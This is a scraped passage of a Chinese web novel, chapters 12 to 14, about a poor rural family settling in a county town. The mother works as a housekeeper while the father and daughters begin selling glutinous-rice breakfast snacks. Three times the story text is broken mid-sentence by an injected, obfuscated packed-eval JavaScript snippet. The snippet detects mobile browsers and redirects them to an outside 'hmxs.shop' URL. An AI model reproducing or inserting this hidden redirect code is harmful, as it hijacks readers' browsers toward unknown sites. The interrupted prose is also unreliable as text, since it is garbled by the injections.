早上被母亲从睡梦中唤醒，天都还没亮，只有屋里昏黄的灯光刺眼。 “幺儿，你爸爸带姐姐回去，你跟妈妈去孟阿姨家，快起了。” 白书佳想起昨晚隐约听到的，一下就惊醒了，一骨碌爬起来，先是抱住妈妈的手臂：“姐姐不走。” 一看姐姐在旁边穿衣服，又连忙过去抱住姐姐：“我不要姐姐走，姐姐和我一起陪妈妈干活。” “姐姐不要走，姐姐不要走，我不要姐姐走。” 白书佳放泼耍赖，嘴里就咕哝着那几句。 董如萍都有些生气了：“我带着你们两个怎么干活？” 她带一个过去还能说孩子还小离不开娘，书玲都六岁了，带过去也不好意思啊。 昨晚商量了一下，想要带一个回去，临了看白书佳闹，白天强却又忍不住心软：“不然让她们都留下来算了，我让白天阳跟我过来，再挑床被子，隔壁堂屋还能睡人。” “你多挑床被子就得少挑些米知道吗？” 白书佳和她同时开口：“我和姐姐一起睡就不挤了。” 董如萍顿时顾不上米了，意外道：“那你不和妈妈一起睡了？” 白书佳：“可是你不是去孟阿姨家睡吗？” 董如萍一噎。 白天强回过神：“对啊，你去了孟家，那我带着两个女儿也能睡下了。” 反正两个女儿还小，各睡一头就行。 董如萍也只是偶尔回来睡一下，挤一挤也没什么，等天冷了还暖和。 见白书佳抱着姐姐鼻涕眼泪都挂在脸上，白书玲也两眼泪汪汪地抱着妹妹，不知道在跟着哭个什么劲儿。两个小丫头伤心得跟她这个亲娘要卖了她们似的。 董如萍无奈，对白天强道：“好吧，那你尽快，别在家里磨磨蹭蹭的，让白天阳多挑些米，别听他喊挑不起就让他随便应付。” 说完，打了水给两个女儿漱口洗脸，用手指梳好头发，董如萍便匆匆赶到了孟菲菲家。 孟家屋里还没亮灯，她只能带着两个孩子在大门口坐着等。 幸好那天刘晓红给了些点心，她给两个孩子一人拿了一块，自己只吃了白书佳喂来的两口。 孟菲菲早上在阳台透气，看到董如萍吃了一惊，下来开门时十分抱歉：“你们怎么来得这么早，等多久了，怎么不敲门啊。” 现在秋露湿，寒气重，要是把人家母女冻坏了，那她可罪过了。 12. 第 12 章 孟菲菲一边听着董如萍解释今天丈夫回老家拿东西了，女儿要暂时带在身边，一边从抽屉里翻出钥匙：“没事，我看她们听话得很。这是大门侧门的钥匙和客厅大门的钥匙，昨天忘记给你了，你怎么也不问。” 董如萍：“我也忘了。” 其实是她没有当保姆的经验，不知道住家保姆有没有必要配钥匙。而且她直觉，主动问钥匙不太好。 给了钥匙，孟菲菲收拾了一下：“走吧，让她们两个小的在客厅耍，我们去买菜。” 大门很快合上，两个大人叮嘱了两句就出了门。 白书佳左右张望，白书玲只老实地坐在实木沙发上，默默望着窗台边露出的仙人掌，也不知道在想什么。 不知过了多久，一楼靠走廊的房间响起咳嗽声，有几声格外急促，带着呼哧的喘气，好片刻才平静下来，接着又是脚步声，过了会儿，门就像阵风似的往里晃了晃，齐老太太扶着墙出来了。 “哎哟，你们来这么早啊？” 齐老太太眯着眼看了两秒，认出来是昨天两个小丫头。 “齐奶奶。”白书佳拉着白书玲喊人。 齐老太太笑得和蔼：“好好，你们坐着，等我洗漱。” 她说着从一边柜子里拿出一个方形的铁盒子：“这里还有些月饼没吃完，是希燃他爸从深市带回来的。” 她拆开了一人给了一个。 说是要去洗漱，她又打开了电视机：“看电视不？” 白书玲这回反应比白书佳快，重重点头。 那电视打开，屏幕宽大，竟然还是彩色的，白书玲眼睛都瞪大了。她以前只在小伙伴家里见过小小的，黑白的。 白书佳则笑道：“谢谢齐奶奶。” 白书玲这才后知后觉补上：“谢谢齐奶奶。” 齐老太太在白书佳脑袋上摸了摸：“好孩子。” 又问白书玲：“几岁了呀，上学了没？” 白书玲：“没有。” 想了想又说：“六岁，冬天就七岁了。” 齐老太太：“七岁了还没上学。” 不过这是别人家的事，她也不好多说，便晃晃悠悠地去洗漱了。 等齐老太太洗完出来，走廊对面的房间也有了动静。 “奶奶，奶奶，妈，老妈！我要撒尿了！憋不住了！” 小男孩的声音中气十足，都把早间新闻的声音给盖过去了。 可能是换了环境，没太睡好，再加上早上起得太早，白书佳实在扛不住，在新闻的催眠声中睡在了齐家垫了软垫的实木沙发上。 “奶奶奶奶！” 那呼喊的声音越来越近，吵得白书佳有些不耐，好像听到了前世小叔儿子变着调喊奶奶的声音，攥着拳头忍了好几下，终于怒而出声：“不许喊了！” 齐奶奶刚好把电视关上，她这声音在客厅里便格外突出。 姚希燃愣了一下，一脚踩着轮椅踏板，攀着沙发背往里看：“为什么不许喊？” 却见沙发上睡着的小人只是翻了个身。 没了聒噪的叫声，她睡得香极了，把自己扭成了一个卷卷的麻花。 白书玲有些无措，想去喊醒妹妹，却被齐奶奶叫住：“让她睡会儿吧，她才多大呀，该是睡觉的年纪。” 等白书佳再醒来，却是在一个陌生的房间，身下是柔软的床垫，身上是蓬松的被子，被面花里胡哨的充满童趣。 床对面贴着《七龙珠》、《哆啦A梦》的贴画，还有几张像是自己描画的悟空、哆啦A梦和大雄，线条稚嫩而凌乱，但又颇有几分神韵。 靠墙的书桌上散开着一本三年级的数学，两本笔记。除此外都是四驱车玩具、哆啦A梦玩偶。 她愣了两秒，从床上爬起来，倒退着下床时还差点踩到一辆四驱车。 打开门，客厅里的声音传来。 “a，o，e……你跟着念一遍？”是姚希燃的声音。 “a，o，e……”竟然是姐姐的声音。 转过弯，便看到客厅里，齐老太太正戴着老花镜翻着一本三年级语文，姚希燃和白书玲却是凑在角落里，一起认一本皱皱巴巴的课本上的字。 “幺儿，醒了呀？” 厨房里，董如萍快步出来，看到白书佳脚步一顿。 在柜台边倒热水泡奶粉的孟菲菲听到声音看过来，笑道：“就说你早上起太早了吧，瞧着孩子都睡懵了，看小揪揪歪成什么样了。” 姚希燃听到声音也抻长了脖子往这边眺望，得意洋洋：“我的床好睡吧，你看到我床上的哆啦A梦了没，那可是我爸爸从深市带回来的，刻意给我印的。” 保姆房还没收拾，本来董如萍想把女儿叫醒，结果姚希燃让她把妹妹抱到他床上去，说他被子什么的都是新换的，还是特意印的哆啦A梦，妹妹之前还想看哆啦A梦漫画，肯定喜欢他的床。 “了不得了，可给你找到机会炫耀了是吧。”孟菲菲瞪了儿子一眼。 董如萍有些想给女儿扎头发，但厨房又离不开她，脚下便乱了两步，刚要叮嘱白书玲去照顾妹妹，孟菲菲就走了过去。 “阿姨给你梳头发，我女儿小学毕业后就不肯我碰她头发了。” 白书佳甜甜道：“谢谢阿姨。” 孟菲菲手软，等她扎好，姚希燃笑话白书佳：“好像哈巴狗的耳朵。” 确实很像，两个小辫子耷拉下来，走起路来一跳一跳。 见白书佳不理他，姚希燃又问她：“你要不要看漫画？” 孟菲菲瞪他：“看什么漫画，你早上的课跟着奶奶学完了吗？” 姚希燃伤了腿，跟学校请了快半个月的假，在家里被奶奶逼着自学。 早上学了没一会儿就闹着不学了，知道白书玲没上学，但又听董如萍说明年就送她上学，于是好为人师起来，让奶奶翻出自己的老课本，教白书玲学拼音。 姚希燃闻言缩了下脖子，说：“我在教书玲妹妹学习呢。” 孟菲菲把牛奶放到儿子和白书玲面前：“教完这页就行了，自己的功课还要完成的。” “知道啦。” 孟菲菲又给坐在一边醒神的白书佳泡了一杯。 “这个比麦乳精好，是牛乳做的奶粉，荷兰进口的。” 董如萍在厨房忙，没听着，白书玲和白书佳都喝得毫不客气，只是乖乖道谢。 白书佳赶得巧，醒来没片刻，早餐好了。 董如萍带着两个女儿在桌尾吃，吃过一碗也不再添。 早餐吃的是董如萍最擅长的木耳鲜肉粉，吃得姚希燃满嘴油花，又添了二两粉。 孟菲菲也吃得很满足，说：“我看电视里，还有姚春满回来学什么西方人吃东西，一块牛排，几块面包，我实在是吃不惯，还是米线好吃。” 齐老师也说：“还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817184|190947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自家的东西好吃。” “阿萍厨艺也好，我看也不比外面开店的差。” 孟菲菲想想觉得自己还是赚到了，竟然花一百块捡了一个饭店厨子回来，厨子还包打扫卫生。 之前蔡姐打扫卫生很糊弄，吃完早餐孟菲菲就决定大扫除一次。 董如萍带着两个女儿给孟姐家收拾。 一看人家那么小的孩子都跟着忙前忙后，姚希燃说带着看漫画都不去。孟菲菲看得坐不住，于是只好也一起帮着拾掇拾掇，整理整理东西。 好在到了下午，刚吃过午饭，白天强回来了，带走了两个女儿，孟菲菲松了口气。 白天阳挑着担子跟着白天强，四处张望。 白天阳这次过来，主要是认认地儿，看看情况是不是和白天强说的属实。 白天强一家两晚没回去，姚老太差点没把白天阳骂死，因此他今天不敢再糊弄。 一看一家人果然是住在一处快塌的老房子里，接孩子的时候，主家连面都没露，只有董如萍出来送两个女儿，白天阳感觉白天强应该没撒谎，只道：“哥，那你一个月还得交十块钱的房租，嫂子又只有六十块钱的工资，在这里什么都得买，钱能攒几个？何必还非得住这里呢？” 白天强睨他一眼：“你知道就好，你嫂子挣的是辛苦钱，回去知道该怎么和妈说吧？” 白天阳讪讪：“知道。” 他说完要走。 白天强喊住他。 “把水缸刷了，把水打满。” “把堂屋收拾了，院子打扫了，那些砖砖瓦瓦都捡出去。” “我平时也不怎么叫你干活，但你看到了，大哥腿都成这样了，你帮大哥随便干点行吧？” “行。”白天阳一看大哥伸腿，良心上过不去，只能不情不愿地干起来。 从家里过来，他也给白天强挑了一路的担子。 白天强还嫌他力气小，挑不起太多，不然家里今年收的那些糯米都得挑来县城卖了。一箩筐糯米，一箩筐稻米，加起来一百来斤了，是他挑的最重的一次了，他哥还嫌不够。 白天阳干活的时候，白书佳和白书玲就坐在屋檐下笑他，白书玲想帮忙，却被白书佳一把拉住。 白天阳气不过，趁白天强进屋收拾东西，在白书佳脸上抹了一把。 “啊！”白书佳气死了，“叔叔是乌龟王八蛋。” 白天阳：“就你机灵坏了，还骂我。” 打扫完院子，白天强检查过差不多，才给了白天阳五块钱，打发他回去。 他前脚刚走，董如萍后脚回来了，要检查白天强都带了哪些东西。 “秋冬的厚衣服，除了吃的米，还带了一箩筐糯米。” 董如萍挑挑拣拣，嫌他没个章法，有些实在不能穿的烂衣烂裤也带来占地方。 但看到箩筐里的糯米，董如萍脸上又有点满意的笑意：“这个还行，还能卖点钱。” 等知道白天强竟然给了白天阳五块钱车费，董如萍再次变脸。 “你以为他身上没钱嘛，你妈从我们身上抠去的钱全送给你那弟弟了，你还给他钱！” “我这不是看他挑了一路，还帮忙打扫屋里了……” “他看你挑断了腿怎么没给你拿钱？他要是开口让他娘给钱，你至于看腿的钱都拿不出？” 夫妻俩又吵了起来，主要是董如萍吵，白天强无奈叹气。 13. 第 13 章 早上总算是能睡到自然醒，白书佳起来的时候，就见她爹正站在后院矮墙边砸石头轰一群半大的孩子。 “干什么的，不上学啊！” “这板栗树是你们家的吗？” 这群孩子看不到白天强打了石膏的腿，只看到他个头高大，是个强壮的农夫，又见他理直气壮地站在姚家二房老院子里，只能不甘不愿地散开。 这已经是白天强抓到的第二回了，第一回是昨天下午。 午饭过后，董如萍不忙了，回来了一趟，听到白天强说起板栗树又被人偷摘了，便说：“孟姐说了，山是他们家的，栗子树也是当年姚春满上中学时种下的，只是她们一家子也顾不上，只能随村里人的便，说咱们要摘也行。” 白天强看了眼屋后三棵高大的栗子树，再看看山那边一片片的竹林，总算对将来做什么，心里有了点主意。 第三回，半夜逮到一群小孩儿，白天强把他们叫了过来。 “你们可以摘，但是得光明正大地摘，主要这栗子树也不是你们的，是姚家的，你们只能用劳动来换，明天我给你们搞几根杆子，你们将栗子打下来，到时候你们再各人分两斤带回去。行吗？” 几个男孩你看看我我看看你，最后最大的那个问：“你谁啊？” 白天强：“我是姚家老太太请来守山的，以后山里有什么东西，你们想要，得问过我。” 他们并不好去求证，毕竟以前都是偷摘人家山里的东西。既然人家住在姚家老房子里，就算不是守山的，肯定也是亲戚朋友，追究起来还不知道会怎么样呢。 最大的那个想了想，答应了：“行吧，不过明天我们要上学，只有下午五点后有时间。” “那就五点后过来，我等着你们。” “你怎么不自己打了？” “我自己忙不过来。” 打栗子这事，白天强还是让董如萍和孟菲菲打了个招呼。 翌日下午，孟菲菲、齐老太太，还有董如萍推着姚希燃，竟然都过来了。 齐老太太在院里转了一圈。 “归整得挺好的。” 房子已经找人检修过，除了塌完了不能要的柴房、侧卧，主卧和堂屋都完好，厨房也能用，来检修的人还加固了一下厨房和院子里的棚子，帮着搭了菜地的篱笆。 白天强和董如萍将院子里的菜地挖开了，新种的葱、蒜、萝卜已经冒芽，这边菜地扎了篱笆，那边还养了一捧嫩黄的小鸡仔，叽叽叽地叫，看到有人来，都挤到了角落里。 再看堂屋门口，竟然还趴了一只小黑狗。 “小狗！”姚希燃眼睛亮了起来。 “什么时候买的小狗啊，还是从村里带来的？”孟菲菲有些意外，她其实不太喜欢小动物，要不是上一只是姚春满从深市带回来的外国狗，她不会同意姚希燃养。 白天强解释：“那天去街上卖糯米遇到有人来卖狗，就买了一只。” 这种农村小土狗都很便宜，白天强用一斤糯米就换回来了。 他糯米都没卖完，带着两个女儿去市集，结果小女儿问他为什么不把糯米做成别的卖，就像面粉做成馒头包子，米做成米粉卖。 “肯定会更赚钱呀，不然他们卖早餐的为什么要做包子馒头和米线呢。” 白天强还是农民思维，只一心想着种地，收获了作物就直接卖出去，根本没想到他住县城有的是时间，可以做农产品加工卖个高点的价。 一想小女儿说的对，于是白天强又将糯米背了回来，只换了一只小狗。 董如萍也不喜欢狗，主要是多一张嘴吃饭，但考虑到现在县城，住得偏僻，有只狗能警醒些，就也没说什么。 看过院子里，这一家子是个勤快干净的，老房子以前是一副荒芜破败的样子，如今也有了生气，再加上板栗这出，孟菲菲对这一家越发有好感。 来的几个小孩见到了真正的姚家人，一个个都老实得不行，接了白天强的杆子上去打板栗，没一会儿噼里啪啦掉了一地。 等他们下来，大家又一起捡，急得姚希燃差点从轮椅上蹦下来。 他也想打板栗捡板栗。 板栗还没捡完，天就黑了。 董如萍就在姚家老房子里做了晚饭，在孟菲菲示意下，还请了那几个打板栗的小孩吃饭。 这下他们更不好意思了，随便吃了两口，拎着白天强给他们称过实打实两斤的带毛板栗一溜烟跑了。 不过那个领头的小孩一边跑，一边回头盯着白天强的腿看了两眼，也不知道在想什么。可能是觉得被个瘸了腿的吓唬到，丢人。 白天强没注意，心思都在板栗上，估计：“应该有一百多斤的板栗，剥完了晾干应该也有五六十斤。” “那这个产量还可以，这么多年没打理，竟然还能出这么多。”齐老太太很欣慰。 白天强也道：“确实可以，接下来吃板栗可就不用再买了。” 孟菲菲道：“你们留一半吧，这次多亏了你们。” 白天强董如萍客套了几句，收下了，还说等剥完再送处理好的给她们。 等齐家人要走，白天强又问起山里的其他山货。 “屋后头不远有竹林，我有做竹篾的手艺，能不能砍些来做，竹子长得快，砍一些不会影响什么，还有山里野菜、野果子，还有中药，都是值钱的，你们不采，就都被别人家采去了，他们还不会和你们说。你们要是允许我去采，挣了多少我都拿给你们，你们愿意分点跑腿钱给我就行。” 孟菲菲笑起来：“那能分多少钱，山里的东西捡着了就捡着了，没捡着就没捡着，我们要是在意，就不会由着村里的小孩儿到这儿来随便摘我们板栗了。你尽管去，就是摘到什么好吃的了可以给我们送一送，让我们也吃个新鲜。” 这山是姚家的祖山，埋了姚老爷子在山上，姚春满常年不在家，把山包下来就没管过。家里就几个女眷并小孩，就算想吃，她们也不会跑到山里去采，直接买方便多了。以前山里的东西都是别人的，现在有了白家住进来，以后想必能多吃一口山珍野味，但也仅此而已了。 就这点东西，孟菲菲也不好意思收钱。 “那也行。” 白天强没有再推辞，他这回是真找到活儿干了，他上次回去，就刻意带了做竹篾的工具来，现在就能派上用场。 至于家里的糯米， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817185|190947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 董如萍已经买了饺子皮和干荷叶回来，等着看小女儿到底要做个什么新鲜名堂出来。 白书佳却说她不知道具体怎么做：“我只知道是咸咸糯糯的，应该加了酱油、香菇、肉丁，蒸熟的，很好吃的。” 她其实是知道的，前世她上初中，学校门口就有卖这个的，那时候她很爱吃，董如萍知道了，买了两个尝了，回家就给她复制出来了，味道还更好。 “你吃过？”董如萍一边淘洗糯米，一边问她。 “梦里吃过。”白书佳嘿嘿一笑。 董如萍现在不再把小女儿的梦当做寻常，只道：“那你梦里可怪忙的，不是梦这个就是梦那个，能睡得好吗？” 白书佳：“睡得好啊。” 刚开始搬过来还不适应，现在睡了三四天已经好多了。夜里天越来越凉，姐姐抱着软乎还暖和，睡觉很舒服。就是爸爸有点打呼噜。 见她小脸红扑扑的，眼下也没有异色，确实应该是睡得好的，董如萍这才安心了点。 没有电饭锅和大蒸锅，董如萍只能将糯米倒在大锅里煮熟，盛出来，再炒调好的加了香菇、笋丁的肉沫，最后再将糯米饭倒进去拌好。 酱色浓郁，米粒沾着猪油晶亮，香菇肉沫与糯米饭交融出风味特别的复合香气，在秋日饭后的下午，仍是让人直流口水。 董如萍挖了一点喂给白书佳，自己也尝了一口。 “特别好吃。”白书佳吃得很满足。 但她是口头喊得厉害，肚子装不下二两，等真盛到碗里，反倒是白书玲一口气吃了一大碗，跟中午没吃过似的。 因为经验不足，饺子皮擀过后放在烧水壶里用盘子隔水蒸过头了，好在是分批蒸的，剩下的就蒸得还算过得去，就是水汽多，湿乎乎的。 “等我做了蒸笼出来就好了。”白天强用蒸好的饺子皮包了一个“糯米鸡”，“这也没鸡呀。” 捏出来也不像鸡。 等董如萍包好了一个荷叶的，白书佳才道：“这个才叫糯米鸡，饺子皮的叫烧麦。” 其实做法应该也是不一样的，但现在条件简陋，先这么做着，卖个新鲜。 “那这不还是没鸡。”白天强十分执着。 白书佳：“糯米鸡肯定是加鸡丁的。” “加鸡肉不就贵了。”董如萍在做吃的上面是有些造诣的，“鸡肉没有，以后倒是可以给拌些蛋黄进去，也是糯米鸡。” 做过一次有了经验，白天强也学会了，晚上再做了一次，虽然不如董如萍做的那么好吃，但也不算失手。于是他翌日一早就起来做，做好了再喊两个女儿。 天光还没亮，董如萍借着买菜回老院子，将父女三个送到菜市场，这才去买菜。 现在孟菲菲已经不会再跟她起大早来菜市场了，都是前一天和她说好想吃的，再由董如萍自己看着买。 白天强带着女儿，也没个摊位，就用凳子架着装筛谷子的圆簸箕，上面盖一层纱布，再盖一层毛巾，三个人往那一站，就跟个桩子似的。 白书佳仰脸，看看紧闭着嘴的爹，再看看紧张拉着爹衣服的姐姐，无奈地叹一口气。 “糯米鸡，好吃的糯米鸡。” 14. 第 14 章 为了买新鲜的蔬菜和肉，菜市场不少人都是没吃早餐赶早来的，那些赶集抢好位置卖菜的农户就更加了。 市集附近的早餐摊子是最好卖的。 可惜他们家摊子实在太简陋，都没几个人瞟一眼，还是白书佳气沉丹田喊出那一声，才有人看过来。 “糯米鸡，好吃的糯米鸡，烧麦，好吃的烧麦。叔叔阿姨，爷爷奶奶都过来看一看咯！” “糯米鸡？吃糯米长大的鸡？” 终于有人被白书佳喊的吸引过来了？ “鸡在哪儿呢？” 白天强连忙掀开个角给大家看一眼：“没有鸡，是早餐，吃的，和包子一样，就是用饺子皮荷叶包着的，里面是糯米香菇猪肉。第一天做，大家吃个新鲜？” 他也是老实，就差把糯米淘洗倒水，先煮，再炒等等流程都说个干净。 “猪肉叫什么糯米鸡？怎么卖？” 看着确实新鲜，又是糯米，管饱，庄稼人最爱吃能饱腹的东西，当即有人问价。 “饺子皮包的一块钱三个，荷叶包的一块钱两个。” “你这比包子还卖的贵，人家都一块钱四个。” “人家包子能有我这个管饱？那小笼包还一笼六个，你怎么不买。”白天强将毛巾盖上，“我这还是糯米做的，你不看看现在糯米多贵。” “那人家还都是肉做的呢。” “我这里面不是肉？你爱要要，不要别挡着后面人的道。”白天强懒得和堵在面前的老太婆咕哝。 倒是白书佳，拉拉老太太的篮子：“奶奶买一个，尝尝鲜，荷叶包的一个五毛。” 老太太刚要生气，被一双干净透亮的眼睛盯着，那小嗓音又奶又甜，心顿时又软了下去：“行吧，行吧，你这丫头，倒是机灵，给我来一个。” 有了一个开张的，后面就容易多了。 “也给我来个糯米鸡，要荷叶包的，要两个。” 荷叶包的竟是卖的最好的，捧着就能吃，饺子皮的还得再给包个荷叶，捧在手里看着好像也没那么扎实。 但不管怎么说，没一会儿，十五个烧麦，十个糯米鸡就全都卖完了。 凑热闹来晚的还不高兴了：“你带着孩子过家家呢。” 白天强却眉开眼笑：“明天来明天来，明天多卖点。” 一天入账才十块，但是试水大获成功。 白天强当机立断：“咱们得去租个板车才行，不然明天可不好卖，那蒸笼也等不了自己编了，得现买一个，再多买个锅。” 他自以为决策做得很好，结果下午董如萍趁孟姐家人午睡回来，骂他：“知道好卖就应该多买几个蒸笼，最好应该再买个炉子，到时候炉子在底下温着，也不容易凉。上面几个蒸笼再分别放糯米鸡和烧麦，不然你一个蒸笼能放几个？就你买的这大小，蒸出来你自己一口就能吃了，你还想挣钱？” 白天强只能挠头：“我这不是没经验……” 他也怕买多了又挨骂，让董如萍说他能自己做还要买，结果没想到买少了反而挨骂。 董如萍：“算了，明天先不做，反正你板车也没租到，明天你先去租板车，再多买几个蒸笼，四个六个八个都不嫌多。这生意卖的也不是特别的东西，等人家早餐店早餐铺子回过神来，马上就琢磨出来了，咱们要卖就得趁早多卖。” “你那腿不好推板车，到时候租车记得让人家送，以后早上我都先送你们去街上，我再去买菜，等你们卖完了，我抽空再给你们推回来。” “还有啊，你得赶紧让人传话给白天阳，让他把剩下的糯米都送过来。要是好卖，半途没米了，你再自己去买吗？那多花多少钱？” 白天强觉得老婆说的有道理，都一一答应下来：“那明天先不卖了，做准备，磨刀不误砍柴工。” 家里第二天是不卖了，但董如萍做了一份更精致的给齐家人尝鲜。 齐老太太只尝了一小口，她肠胃不好，糯米不好克化。 但孟菲菲和姚希燃都很喜欢。 孟菲菲还道：“这个可以多做啊，怎么想出来的，比做成甜粽子好吃多了。” 董如萍笑道：“瞎琢磨出来的，外地的食物。” 她不好说是女儿梦到的，也特意叮嘱了白天强不要在外面瞎说八道。 “这可真行，有这门手艺，你们又多了一份收入。” 董如萍有些不好意思，问孟菲菲：“孟姐，能借您家座机打个电话吗？” “行啊。” 董如萍在家里这些日子，勤劳能干，还不多嘴多舌，说什么都只是听着，丈夫孩子品行也好，住在她们老房子里还能帮她们守山，只是借个电话，这有什么大不了。 孟菲菲笑道：“你想用就用。” 以前蔡姐想用，她都不借的，那蔡姐话可多了。 果然，董如萍打电话到村长家里，只说了两句话。 “让天阳送剩下的糯米过来，这边好卖。对了，再送两床被子过来，家里的荷叶不要了也送来。” 白天强那边准备了一天，总算是把董如萍要的东西都备齐了。 六个蒸笼，一个铁锅，一个煤炉，还租了个板车，一个月八块钱。租到板车，白天强顺势买了一车煤。 董如萍也买好了下次的饺子、干荷叶——大集小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16817186|190947||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 集上的荷叶都快被她包全了。 平福县一共三个集市，开心广场下面的平福集市是不分时间的，每天都开市，另外东西两个小集一个逢三六九赶集，一个逢一四七赶集。 有时孟菲菲想吃的东西大集上找不到，董如萍也会去小集看看，今天为了荷叶才去小集，颇耽误了一些时间。 晚上孟姐家人都睡下了，董如萍过来和白天强备第二天早上要用的食材。 白书佳和白书玲想帮忙，她却头一次拒绝：“你们要早点睡，明天早上还得跟着你们爸爸早起去摆摊，不早点睡可长不高。” 齐家齐老太太就经常这么对姚希燃说，董如萍也记住了。 看着人家每天一杯牛奶，一个鸡蛋，顿顿吃肉，董如萍心里也羡慕，想让家里两个孩子也能吃上。 做生意摆摊卖早点能赚钱，董如萍心里便充满了干劲，她一天在齐家忙活完，回家也不停歇，看起来比农忙时还忙些，一天睡不了几个小时，只是不需要挑那么重的担子。 但她再累都值得，也没再生出让孩子回家跟奶奶的想法。她这么努力就是为了孩子能过好日子，要是把孩子送回去，就算她给钱给老太太，老太太那钱也不会用到她两个女儿头上，那还不如将女儿留在她身边呢。 凌晨四点，白书佳是被屋外吆喝声吵醒的。 “一二三，起！” “我先送过去，你快点带着她们两个过来。” 院外是墨色的天空，昏黄的灯光映照着母亲结实敦矮的身板，她团着腰推着板车，像一只蓄势待发的母豹，蹿进了夜色下的长路。 白天强回到房间，哟了一声，笑眯眯道：“咱家幺儿已经起了。” 白天强是没有叫幺儿的习惯的，但听董如萍叫来叫去，不自觉也叫上了。 白书佳推了一下姐姐的肩，姐姐也揉着眼睛爬了起来。 俩人很快穿好衣服，牵着小黑随白天强出门，小黑都没睡醒，被白书玲抱起来，趴在她怀里又睡了过去。 白天强看她们这么懂事还是心疼：“每天早上这么早起来难不难受，要不还是回去跟奶奶？” 白书佳想也没想就摇头：“不要，我不要跟奶奶，姐姐也不要跟奶奶。” 跟着姚老太能有什么好果子吃，恐怕饭都吃不饱。 姚老太吝啬惯了，对她自己都不例外，如果不是董如萍做饭，她是肯定舍不得下油盐调料的，从坛子里掏一把酸豇豆能吃三天。 不过对白天阳她还是舍得给钱的，也因此白天阳养成了在外游荡的习性，宁愿去别人家蹭饭，去外面买着吃，也不着家，还是这几年董如萍嫁过来才好些。